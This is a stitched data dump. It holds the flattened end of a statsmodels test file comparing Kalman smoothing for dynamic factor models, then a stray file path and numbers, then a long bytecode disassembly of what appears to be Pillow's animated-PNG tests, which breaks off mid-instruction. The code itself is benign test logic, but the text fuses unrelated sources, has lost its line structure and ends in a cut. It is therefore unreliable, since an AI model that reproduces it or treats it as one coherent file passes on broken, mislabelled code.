6:], atol=1e-7, ) @pytest.mark.skip def test_smoothed_measurement_disturbance(self): assert_allclose( self.results_a.smoothed_measurement_disturbance, self.results_b.smoothed_measurement_disturbance, ) @pytest.mark.skip def test_smoothed_measurement_disturbance_cov(self): assert_allclose( self.results_a.smoothed_measurement_disturbance_cov, self.results_b.smoothed_measurement_disturbance_cov, ) def test_smoothed_state_disturbance(self): assert_allclose( self.results_a.smoothed_state_disturbance, self.results_b.smoothed_state_disturbance, ) def test_smoothed_state_disturbance_cov(self): assert_allclose( self.results_a.smoothed_state_disturbance_cov, self.results_b.smoothed_state_disturbance_cov, ) def test_simulation_smoothed_state(self): assert_allclose(self.sim_a.simulated_state, self.sim_b.simulated_state) @pytest.mark.skip def test_simulation_smoothed_measurement_disturbance(self): assert_allclose( self.sim_a.simulated_measurement_disturbance, self.sim_b.simulated_measurement_disturbance, ) def test_simulation_smoothed_state_disturbance(self): assert_allclose( self.sim_a.simulated_state_disturbance, self.sim_b.simulated_state_disturbance, ) class TestDFMClassicalSmoothing(TestDFM): @classmethod def setup_class(cls, *args, **kwargs): super(TestDFMClassicalSmoothing, cls).setup_class( smooth_method=SMOOTH_CLASSICAL, *args, **kwargs ) def test_smooth_method(self): assert_equal(self.model.smooth_method, SMOOTH_CLASSICAL) assert_equal(self.model._kalman_smoother.smooth_method, SMOOTH_CLASSICAL) assert_equal(self.model._kalman_smoother._smooth_method, SMOOTH_CLASSICAL) class TestDFMUnivariateSmoothing(TestDFM): @classmethod def setup_class(cls, *args, **kwargs): super(TestDFMUnivariateSmoothing, cls).setup_class( filter_method=FILTER_UNIVARIATE, *args, **kwargs ) def test_smooth_method(self): assert_equal(self.model.smooth_method, 0) assert_equal(self.model._kalman_smoother.smooth_method, 0) assert_equal(self.model._kalman_smoother._smooth_method, SMOOTH_UNIVARIATE) class TestDFMAlternativeSmoothing(TestDFM): @classmethod def setup_class(cls, *args, **kwargs): super(TestDFMAlternativeSmoothing, cls).setup_class( smooth_method=SMOOTH_ALTERNATIVE, **kwargs ) def test_smooth_method(self): assert_equal(self.model.smooth_method, SMOOTH_ALTERNATIVE) assert_equal(self.model._kalman_smoother.smooth_method, SMOOTH_ALTERNATIVE) assert_equal(self.model._kalman_smoother._smooth_method, SMOOTH_ALTERNATIVE) class TestDFMMeasurementDisturbance(TestDFM): @classmethod def setup_class(cls, *args, **kwargs): super(TestDFMMeasurementDisturbance, cls).setup_class( smooth_method=SMOOTH_CLASSICAL, which="none", **kwargs ) def test_smoothed_state_disturbance(self): assert_allclose( self.results_a.smoothed_state_disturbance, self.results_b.smoothed_state_disturbance, atol=1e-7, ) def test_smoothed_measurement_disturbance(self): assert_allclose( self.collapse(self.results_a.smoothed_measurement_disturbance.T).T, self.results_b.smoothed_measurement_disturbance, atol=1e-7, ) def test_simulation_smoothed_measurement_disturbance(self): assert_allclose( self.collapse(self.sim_a.simulated_measurement_disturbance.T), self.sim_b.simulated_measurement_disturbance.T, atol=1e-7, ) def test_simulation_smoothed_state_disturbance(self): assert_allclose( self.sim_a.simulated_state_disturbance, self.sim_b.simulated_state_disturbance, atol=1e-7, ) def test_dfm_missing(reset_randomstate): endog = np.random.normal(size=(100, 3)) endog[0, :1] = np.nan mod = dynamic_factor.DynamicFactor(endog, k_factors=1, factor_order=1) mod.ssm.filter_collapsed = True res = mod.smooth(mod.start_params) mod.ssm.filter_collapsed = False res2 = mod.smooth(mod.start_params) assert_allclose(res.llf, res2.llf)
data/statsmodels-0.14.1/statsmodels/tsa/statespace/tests/test_collapsed.py
18,572
9,003
202,496
LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('Image', 'ImageSequence', 'PngImagePlugin') IMPORT_NAME PIL IMPORT_FROM Image STORE_NAME Image IMPORT_FROM ImageSequence STORE_NAME ImageSequence IMPORT_FROM PngImagePlugin STORE_NAME PngImagePlugin POP_TOP LOAD_CONST <code object test_apng_basic at 0x7fab8233d780, file "f.py", line 7> LOAD_CONST 'test_apng_basic' MAKE_FUNCTION STORE_NAME test_apng_basic LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'filename' LOAD_CONST ('Tests/images/apng/split_fdat.png', 'Tests/images/apng/split_fdat_zero_chunk.png') CALL_METHOD LOAD_CONST <code object test_apng_fdat at 0x7fab8233db70, file "f.py", line 38> LOAD_CONST 'test_apng_fdat' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_apng_fdat LOAD_CONST <code object test_apng_dispose at 0x7fab8233d9c0, file "f.py", line 49> LOAD_CONST 'test_apng_dispose' MAKE_FUNCTION STORE_NAME test_apng_dispose LOAD_CONST <code object test_apng_dispose_region at 0x7fab8233d810, file "f.py", line 81> LOAD_CONST 'test_apng_dispose_region' MAKE_FUNCTION STORE_NAME test_apng_dispose_region LOAD_CONST <code object test_apng_dispose_op_previous_frame at 0x7fab8233d420, file "f.py", line 103> LOAD_CONST 'test_apng_dispose_op_previous_frame' MAKE_FUNCTION STORE_NAME test_apng_dispose_op_previous_frame LOAD_CONST <code object test_apng_dispose_op_background_p_mode at 0x7fab8233d300, file "f.py", line 109> LOAD_CONST 'test_apng_dispose_op_background_p_mode' MAKE_FUNCTION STORE_NAME test_apng_dispose_op_background_p_mode LOAD_CONST <code object test_apng_blend at 0x7fab8234a9c0, file "f.py", line 116> LOAD_CONST 'test_apng_blend' MAKE_FUNCTION STORE_NAME test_apng_blend LOAD_CONST <code object test_apng_blend_transparency at 0x7fab8234aa50, file "f.py", line 143> LOAD_CONST 'test_apng_blend_transparency' MAKE_FUNCTION STORE_NAME test_apng_blend_transparency LOAD_CONST <code object test_apng_chunk_order at 0x7fab8234adb0, file "f.py", line 149> LOAD_CONST 'test_apng_chunk_order' MAKE_FUNCTION STORE_NAME test_apng_chunk_order LOAD_CONST <code object test_apng_delay at 0x7fab8234ac00, file "f.py", line 156> LOAD_CONST 'test_apng_delay' MAKE_FUNCTION STORE_NAME test_apng_delay LOAD_CONST <code object test_apng_num_plays at 0x7fab8234aed0, file "f.py", line 196> LOAD_CONST 'test_apng_num_plays' MAKE_FUNCTION STORE_NAME test_apng_num_plays LOAD_CONST <code object test_apng_mode at 0x7fab543e7390, file "f.py", line 204> LOAD_CONST 'test_apng_mode' MAKE_FUNCTION STORE_NAME test_apng_mode LOAD_CONST <code object test_apng_chunk_errors at 0x7fab543e7150, file "f.py", line 245> LOAD_CONST 'test_apng_chunk_errors' MAKE_FUNCTION STORE_NAME test_apng_chunk_errors LOAD_CONST <code object test_apng_syntax_errors at 0x7fab543e7ed0, file "f.py", line 270> LOAD_CONST 'test_apng_syntax_errors' MAKE_FUNCTION STORE_NAME test_apng_syntax_errors LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'test_file' LOAD_CONST ('sequence_start.png', 'sequence_gap.png', 'sequence_repeat.png', 'sequence_repeat_chunk.png', 'sequence_reorder.png', 'sequence_reorder_chunk.png', 'sequence_fdat_fctl.png') CALL_METHOD LOAD_CONST <code object test_apng_sequence_errors at 0x7fab543e70c0, file "f.py", line 301> LOAD_CONST 'test_apng_sequence_errors' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_apng_sequence_errors LOAD_CONST <code object test_apng_save at 0x7fab543e7300, file "f.py", line 320> LOAD_CONST 'test_apng_save' MAKE_FUNCTION STORE_NAME test_apng_save LOAD_CONST <code object test_apng_save_alpha at 0x7fab543e76f0, file "f.py", line 351> LOAD_CONST 'test_apng_save_alpha' MAKE_FUNCTION STORE_NAME test_apng_save_alpha LOAD_CONST <code object test_apng_save_split_fdat at 0x7fab543e7a50, file "f.py", line 365> LOAD_CONST 'test_apng_save_split_fdat' MAKE_FUNCTION STORE_NAME test_apng_save_split_fdat LOAD_CONST <code object test_apng_save_duration_loop at 0x7fab5434be40, file "f.py", line 385> LOAD_CONST 'test_apng_save_duration_loop' MAKE_FUNCTION STORE_NAME test_apng_save_duration_loop LOAD_CONST <code object test_apng_save_disposal at 0x7fab5434bd20, file "f.py", line 446> LOAD_CONST 'test_apng_save_disposal' MAKE_FUNCTION STORE_NAME test_apng_save_disposal LOAD_CONST <code object test_apng_save_disposal_previous at 0x7fab5434b9c0, file "f.py", line 543> LOAD_CONST 'test_apng_save_disposal_previous' MAKE_FUNCTION STORE_NAME test_apng_save_disposal_previous LOAD_CONST <code object test_apng_save_blend at 0x7fab5434b420, file "f.py", line 564> LOAD_CONST 'test_apng_save_blend' MAKE_FUNCTION STORE_NAME test_apng_save_blend LOAD_CONST <code object test_seek_after_close at 0x7fab5434b150, file "f.py", line 628> LOAD_CONST 'test_seek_after_close' MAKE_FUNCTION STORE_NAME test_seek_after_close LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'mode' LOAD_CONST ('RGBA', 'RGB', 'P') CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'default_image' LOAD_CONST (True, False) CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'duplicate' LOAD_CONST (True, False) CALL_METHOD LOAD_CONST <code object test_different_modes_in_later_frames at 0x7fab5434b4b0, file "f.py", line 637> LOAD_CONST 'test_different_modes_in_later_frames' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_different_modes_in_later_frames LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/single_frame.png' CALL_METHOD SETUP_WITH to 112 STORE_FAST im LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD get_format_mimetype CALL_METHOD LOAD_CONST 'image/apng' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'default_image' CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/single_frame_default.png' CALL_METHOD EXTENDED_ARG SETUP_WITH to 408 STORE_FAST im LOAD_FAST im LOAD_ATTR is_animated POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD get_format_mimetype CALL_METHOD LOAD_CONST 'image/apng' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'default_image' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (255, 0, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (255, 0, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL EOFError CALL_METHOD SETUP_WITH to 298 POP_TOP LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST im LOAD_METHOD seek LOAD_CONST 0 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (255, 0, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (255, 0, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST filename CALL_METHOD SETUP_WITH to 68 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_none.png' CALL_METHOD SETUP_WITH to 68 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_background.png' CALL_METHOD SETUP_WITH to 142 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_background_final.png' CALL_METHOD SETUP_WITH to 216 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_previous.png' CALL_METHOD SETUP_WITH to 294 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_previous_final.png' CALL_METHOD SETUP_WITH to 372 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_previous_first.png' CALL_METHOD SETUP_WITH to 450 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_none_region.png' CALL_METHOD SETUP_WITH to 68 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_background_before_region.png' CALL_METHOD SETUP_WITH to 142 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_background_region.png' CALL_METHOD SETUP_WITH to 216 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 255, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_previous_region.png' CALL_METHOD SETUP_WITH to 294 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_previous_frame.png' CALL_METHOD SETUP_WITH to 50 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (255, 0, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/dispose_op_background_p_mode.png' CALL_METHOD SETUP_WITH to 48 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR size LOAD_CONST (128, 64) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/blend_op_source_solid.png' CALL_METHOD SETUP_WITH to 68 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/blend_op_source_transparent.png' CALL_METHOD SETUP_WITH to 142 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/blend_op_source_near_transparent.png' CALL_METHOD SETUP_WITH to 216 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 2) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 2) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/blend_op_over.png' CALL_METHOD SETUP_WITH to 294 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/blend_op_over_near_transparent.png' CALL_METHOD SETUP_WITH to 372 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 97) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS 